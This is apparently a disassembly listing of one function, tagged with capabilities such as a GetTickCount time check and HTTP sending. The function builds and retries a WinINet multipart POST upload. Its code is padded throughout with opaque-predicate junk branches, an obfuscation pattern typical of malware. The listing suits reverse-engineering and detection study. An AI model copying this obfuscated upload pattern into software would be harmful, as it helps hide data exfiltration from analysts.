Function at 0x1000322d
Capabilities:
Check for time delay via gettickcount
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x4c
mov edi, dword [esp + 0x60]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0x1002d248], 0xa
jl 0x1000327c
mov edx, dword [0x1002d24c]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
je 0x1000327c
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
call esi
cmp dword [0x1002d248], 0xa
jl 0x1000327c
mov edx, dword [0x1002d24c]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
jne 0x1000325e
add eax, 0x493e0
mov dword [esp + 0x48], eax
lea eax, [edi + 0x1c]
mov dword [esp + 0x24], eax
lea eax, [edi + 0x24]
mov dword [esp + 0x1c], eax
lea eax, [edi + 0x2c]
mov dword [esp + 0x10], eax
lea eax, [edi + 0x30]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x20], 0
cmp dword [edi + 0x10], 0
mov esi, 0x84aa3300
mov eax, 0x842a0000
cmove esi, eax
mov eax, dword [0x1002cd54]
sub esp, 0x14
movaps xmm0, xmmword [0x10024370]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [esp + 4], eax
mov eax, dword [0x1002d24c]
mov ecx, dword [0x1002d248]
cmp ecx, 0xa
jl 0x10003338
lea edx, [eax + 1]
imul edx, eax
and edx, 1
je 0x10003338
mov eax, dword [0x1002cd54]
sub esp, 0x14
movaps xmm0, xmmword [0x10024370]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
mov ebx, dword [sym.imp.WININET.dll_InternetOpenW]
call ebx
mov eax, dword [0x1002cd54]
sub esp, 0x14
movaps xmm0, xmmword [0x10024370]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
call ebx
jmp 0x100032df
cmp dword [esp + 4], 0
je 0x10003846
mov dword [esp], esi
mov dword [esp + 0x28], 0x4e20
mov edi, 4
push edi
lea esi, [esp + 0x2c]
push esi
push 2
mov ebp, dword [esp + 0x10]
push ebp
mov ebx, dword [sym.imp.WININET.dll_InternetSetOptionW]
call ebx
push edi
push esi
push 5
push ebp
call ebx
cmp dword [0x1002d248], 0xa
jl 0x10003448
mov eax, dword [0x1002d24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x10003448
mov edi, 4
push edi
lea esi, [esp + 0x2c]
push esi
mov eax, 2
push eax
mov ebp, dword [esp + 0x10]
push ebp
mov ebx, dword [sym.imp.WININET.dll_InternetSetOptionW]
call ebx
push edi
push esi
mov eax, 5
push eax
push ebp
call ebx
push edi
push esi
mov eax, 2
push eax
push ebp
call ebx
push edi
push esi
mov eax, 5
push eax
push ebp
call ebx
mov ecx, dword [0x1002d24c]
lea eax, [ecx + 1]
imul eax, ecx
and eax, 1
cmp dword [0x1002d248], 0xa
jl 0x1000334e
test eax, eax
jne 0x10003390
jmp 0x1000334e
push 4
lea eax, [esp + 0x2c]
push eax
push 6
mov esi, dword [esp + 0x10]
push esi
call dword [sym.imp.WININET.dll_InternetSetOptionW]
mov eax, dword [esp + 0x60]
cmp dword [eax + 0x10], 0
mov eax, dword [eax + 4]
mov ecx, 0x1bb
mov edx, 0x50
cmove ecx, edx
sub esp, 0x20
movaps xmm0, xmmword [0x10024380]
movups xmmword [esp + 0xc], xmm0
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.WININET.dll_InternetConnectW]
push 4
lea eax, [esp + 0x2c]
push eax
push 6
mov esi, dword [esp + 0x10]
push esi
call dword [sym.imp.WININET.dll_InternetSetOptionW]
mov eax, dword [esp + 0x60]
cmp dword [eax + 0x10], 0
mov eax, dword [eax + 4]
mov ecx, 0x1bb
mov edx, 0x50
cmove ecx, edx
sub esp, 0x20
movaps xmm0, xmmword [0x10024380]
movups xmmword [esp + 0xc], xmm0
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.WININET.dll_InternetConnectW]
mov esi, eax
mov edx, dword [0x1002d24c]
mov ecx, dword [0x1002d248]
lea eax, [edx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x100034c0
test eax, eax
jne 0x100033f4
test esi, esi
je 0x100037dd
xor eax, eax
push eax
push dword [esp + 4]
push eax
push eax
push str.HTTP_1.1
mov eax, dword [esp + 0x74]
push dword [eax + 0xc]
push str.POST
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
test eax, eax
je 0x10003767
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebp, eax
cmp dword [0x1002d248], 0xa
jl 0x10003539
mov eax, dword [0x1002d24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x10003539
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call ebx
call ebx
cmp dword [0x1002d248], 0xa
jl 0x100034f3
mov eax, dword [0x1002d24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x10003514
jmp 0x100034f3
push 0x1000
push 8
push ebp
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
cmp dword [0x1002d248], 0xa
mov dword [esp + 0x2c], esi
mov dword [esp + 8], edi
jl 0x1000359a
mov eax, dword [0x1002d24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
mov eax, dword [sym.imp.KERNEL32.dll_HeapAlloc]
je 0x1000359f
mov ecx, 0x1000
push ecx
mov edi, 0x1000
mov ecx, 8
push ecx
mov esi, 8
push ebp
mov ebx, eax
call eax
push edi
push esi
push ebp
call ebx
mov ebx, eax
cmp dword [0x1002d248], 0xa
jge 0x1000355a
mov eax, dword [sym.imp.KERNEL32.dll_HeapAlloc]
test ebx, ebx
je 0x100038df
push str.Connection:_close_r_n
push 0x1002723a
push ebx
mov ebp, eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0xa0000000
push eax
mov dword [esp + 0x14], ebx
push ebx
push dword [esp + 0x14]
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersW]
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edi, [esp + 0x38]
mov esi, dword [sym.imp.NTDLL.dll_RtlRandom]
call eax
mov dword [esp + 0x38], eax
push edi
call esi
mov dword [esp], eax
call ebx
push 0x800
push 8
push eax
call ebp
mov ebp, eax
cmp dword [0x1002d248], 0xa
jl 0x10003654
mov eax, dword [0x1002d24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x10003654
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount]
call eax
mov dword [esp + 0x38], eax
lea eax, [esp + 0x38]
mov edi, eax
push eax
mov eax, dword [sym.imp.NTDLL.dll_RtlRandom]
mov esi, eax
call eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call ebx
push 0x800
push 8
push eax
mov ebp, dword [sym.imp.KERNEL32.dll_HeapAlloc]
call ebp
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount]
jmp 0x100035e7
test ebp, ebp
mov dword [esp + 0x18], ebp
je 0x100038ec
mov eax, dword [esp + 0x64]
mov ecx, dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [esp]
mov esi, dword [esp + 0xc]
push eax
push edi
push str.___________lu_r_nContent_Disposition:_form_data__name__s__r_nContent_Type:_text_plain_r_nContent_Transfer_Encoding:_binary_r_n_r_n
push ebp
mov ebx, ecx
call ecx
mov ecx, ebx
add esp, 0x10
mov ebx, eax
add eax, ebp
inc eax
push edi
push str.___________lu___r_n_r_n
mov dword [esp + 0x4c], eax
push eax
call ecx
add esp, 0xc
mov dword [esp + 0x40], eax
mov dword [esp + 0x30], ebx
add eax, ebx
mov ecx, dword [esp + 0x60]
add eax, dword [ecx + 0x1c]
add eax, dword [ecx + 0x24]
add eax, dword [ecx + 0x2c]
push eax
push str.Content_Length:__lu_r_n
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0xa0000000
push eax
push esi
mov ebp, dword [esp + 0x14]
push ebp
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersW]
cmp dword [0x1002d248], 0xa
jl 0x10003872
mov eax, dword [0x1002d24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x10003872
mov eax, dword [esp + 0x64]
push eax
mov edi, dword [esp + 4]
push edi
push str.___________lu_r_nContent_Disposition:_form_data__name__s__r_nContent_Type:_text_plain_r_nContent_Transfer_Encoding:_binary_r_n_r_n
mov ebp, dword [esp + 0x24]
push ebp
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
call esi
add esp, 0x10
mov ebx, eax
lea ecx, [eax + ebp]
inc ecx
push edi
push str.___________lu___r_n_r_n
push ecx
call esi
add esp, 0xc
add eax, ebx
mov ecx, dword [esp + 0x60]
add eax, dword [ecx + 0x1c]
add eax, dword [ecx + 0x24]
add eax, dword [ecx + 0x2c]
push eax
push str.Content_Length:__lu_r_n
mov esi, dword [esp + 0x14]
push esi
mov eax, dword [sym.imp.USER32.dll_wsprintfW]
call eax
add esp, 0xc
push 0xa0000000
push eax
push esi
push dword [esp + 0x14]
mov eax, dword [sym.imp.WININET.dll_HttpAddRequestHeadersW]
call eax
mov ecx, dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [esp + 0x64]
jmp 0x10003671
mov edx, dword [0x1002d24c]
mov ecx, dword [0x1002d248]
lea eax, [edx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x100037aa
test eax, eax
je 0x100037aa
push esi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
cmp dword [0x1002d248], 0xa
jl 0x100037aa
mov eax, dword [0x1002d24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x10003785
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [0x1002d24c]
mov ecx, dword [0x1002d248]
lea eax, [edx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x100037dd
test eax, eax
je 0x100037dd
push esi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
jmp 0x100037b1
cmp ecx, 0xa
jl 0x1000380f
test eax, eax
je 0x1000380f
mov esi, dword [esp + 4]
push esi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
cmp dword [0x1002d248], 0xa
jl 0x1000380f
mov eax, dword [0x1002d24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x100037e6
push dword [esp + 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [0x1002d24c]
mov ecx, dword [0x1002d248]
cmp ecx, 0xa
jl 0x10003846
lea edx, [eax + 1]
imul edx, eax
and edx, 1
je 0x10003846
mov esi, dword [esp + 4]
push esi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
jmp 0x10003819
mov edi, dword [esp + 0x60]
cmp dword [esp + 0x20], 0
jne 0x10003cde
cmp ecx, 0xa
jl 0x10003c4c
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x10003c6c
jmp 0x10003c4c
push dword [esp]
push str.Content_Type:_multipart_form_data__boundary_________lu_r_n
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
cmp dword [0x1002d248], 0xa
jl 0x100038c7
mov ecx, dword [0x1002d24c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x100038c7
mov edi, dword [esp]
push edi
mov eax, str.Content_Type:_multipart_form_data__boundary_________lu_r_n
push eax
mov ebp, str.Content_Type:_multipart_form_data__boundary_________lu_r_n
mov esi, dword [esp + 0x14]
push esi
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
call ebx
add esp, 0xc
push edi
push ebp
push esi
call ebx
jmp 0x10003884
push 0xa0000000
push eax
mov ebx, dword [esp + 0x14]
push ebx
mov edi, dword [esp + 0x14]
push edi
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersW]
jmp 0x10003908
mov edi, dword [esp + 8]
mov esi, dword [esp + 0x2c]
jmp 0x10003c11
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x30], 0
mov edi, dword [esp + 8]
mov esi, dword [esp + 0x2c]
sub esp, 0x14
xorps xmm0, xmm0
movups xmmword [esp + 4], xmm0
mov dword [esp], edi
call dword [sym.imp.WININET.dll_HttpSendRequestExW]
test eax, eax
je 0x100039e7
mov eax, dword [esp + 0x30]
mov dword [esp + 0x34], eax
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x1c]
push edi
call fcn.1000cf51
add esp, 0xc
cmp dword [0x1002d248], 0xa
jl 0x10003960
mov ecx, dword [0x1002d24c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
jne 0x10003cdc
cmp eax, dword [esp + 0x30]
jne 0x10003b0e
mov eax, dword [esp + 0x60]
cmp dword [eax + 0x1c], 0
je 0x10003a18
push dword [esp + 0x24]
push dword [eax + 0x18]
push edi
call fcn.1000cf51
add esp, 0xc
cmp dword [0x1002d248], 0xa
jl 0x10003a08
mov ecx, dword [0x1002d24c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x10003a08
mov ebx, dword [esp + 0x24]
push ebx
mov ebp, dword [esp + 0x64]
push dword [ebp + 0x18]
push edi
call fcn.1000cf51
add esp, 0xc
push ebx
push dword [ebp + 0x18]
push edi
call fcn.1000cf51
add esp, 0xc
cmp dword [0x1002d248], 0xa
jl 0x100039dd
mov eax, dword [0x1002d24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x100039a2
push dword [esp + 0x24]
mov eax, dword [esp + 0x64]
jmp 0x1000397c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2f7d
jne 0x10003b1a
mov eax, dword [esp + 0x60]
mov dword [eax + 0x10], 0
jmp 0x10003b1a
mov ecx, dword [esp + 0x24]
cmp eax, dword [ecx]
mov eax, dword [esp + 0x60]
jne 0x10003b0e
cmp dword [eax + 0x24], 0
je 0x10003a91
push dword [esp + 0x1c]
mov eax, dword [esp + 0x64]
push dword [eax + 0x20]
push edi
call fcn.1000cf51
add esp, 0xc
cmp dword [0x1002d248], 0xa
jl 0x10003a89
mov ecx, dword [0x1002d24c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x10003a89
mov ebx, dword [esp + 0x1c]
push ebx
mov ebp, dword [esp + 0x64]
push dword [ebp + 0x20]
push edi
call fcn.1000cf51
add esp, 0xc
push ebx
push dword [ebp + 0x20]
push edi
call fcn.1000cf51
add esp, 0xc
cmp dword [0x1002d248], 0xa
jl 0x10003a1e
mov eax, dword [0x1002d24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x10003a4c
jmp 0x10003a1e
mov ecx, dword [esp + 0x1c]
cmp eax, dword [ecx]
jne 0x10003b0e
mov ecx, dword [esp + 0x10]
cmp dword [ecx], 0
je 0x10003ae2
mov eax, dword [esp + 0x60]
mov ebx, dword [eax + 0x28]
push ecx
push ebx
push edi
call fcn.1000cf51
add esp, 0xc
cmp dword [0x1002d248], 0xa
jl 0x10003ada
mov ecx, dword [0x1002d24c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
mov ecx, dword [esp + 0x10]
je 0x10003ade
push ecx
push ebx
push edi
mov ebp, ecx
call fcn.1000cf51
add esp, 0xc
push ebp
jmp 0x10003aa2
mov ecx, dword [esp + 0x10]
cmp eax, dword [ecx]
jne 0x10003b0e
mov ebx, dword [esp + 0x40]
mov dword [esp + 0x34], ebx
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x48]
push edi
call fcn.1000cf51
add esp, 0xc
cmp eax, ebx
mov eax, 1
mov ecx, dword [esp + 0x20]
cmove ecx, eax
mov dword [esp + 0x20], ecx
xor eax, eax
push eax
push eax
push eax
push edi
call dword [sym.imp.WININET.dll_HttpEndRequestW]
mov eax, dword [esp + 0x14]
cmp dword [esp + 0x20], 0
je 0x10003b5d
push dword [esp + 0x3c]
push edi
call fcn.100120c0
add esp, 8
cmp dword [0x1002d248], 0xa
jl 0x10003b5d
mov edx, dword [0x1002d24c]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
je 0x10003b5d
mov ebx, dword [esp + 0x3c]
push ebx
push edi
call fcn.100120c0
add esp, 8
push ebx
jmp 0x10003b29
mov dword [esp + 0x14], eax
cmp dword [esp + 0x18], 0
je 0x10003bfa
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [esp], eax
cmp dword [0x1002d248], 0xa
jl 0x10003bb3
mov eax, dword [0x1002d24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x10003bb3
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call edi
call edi
cmp dword [0x1002d248], 0xa
jl 0x10003b6c
mov eax, dword [0x1002d24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x10003b8e
jmp 0x10003b6c
push dword [esp + 0x18]
push 0
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [0x1002d248], 0xa
jl 0x10003bfa
mov eax, dword [0x1002d24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x10003bfa
mov ebp, dword [esp + 0x18]
push ebp
xor eax, eax
push eax
mov ebx, dword [esp + 8]
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
call edi
push ebp
xor eax, eax
push eax
push ebx
call edi
jmp 0x10003bc3
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push dword [esp + 0xc]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 8]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [0x1002d24c]
mov ecx, dword [0x1002d248]
lea eax, [edx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1000377c
test eax, eax
je 0x1000377c
push edi
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
call ebx
push edi
call ebx
jmp 0x10003c18
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0x1002d248], 0xa
jl 0x10003c74
mov ecx, dword [0x1002d24c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x10003c74
call dword [sym.imp.KERNEL32.dll_GetTickCount]
jmp 0x10003c4c
cmp eax, dword [esp + 0x48]
jae 0x10003cde
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x1002d248], 0xa
jl 0x100032b1
mov eax, dword [0x1002d24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x100032b1
mov esi, 0x1388
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
push esi
call ebx
mov ecx, dword [0x1002d24c]
lea eax, [ecx + 1]
imul eax, ecx
and eax, 1
cmp dword [0x1002d248], 0xa
jl 0x100032b1
test eax, eax
jne 0x10003ca6
jmp 0x100032b1
jmp 0x10003cdc
mov eax, dword [esp + 0x14]
add esp, 0x4c
pop esi
pop edi
pop ebx
pop ebp
ret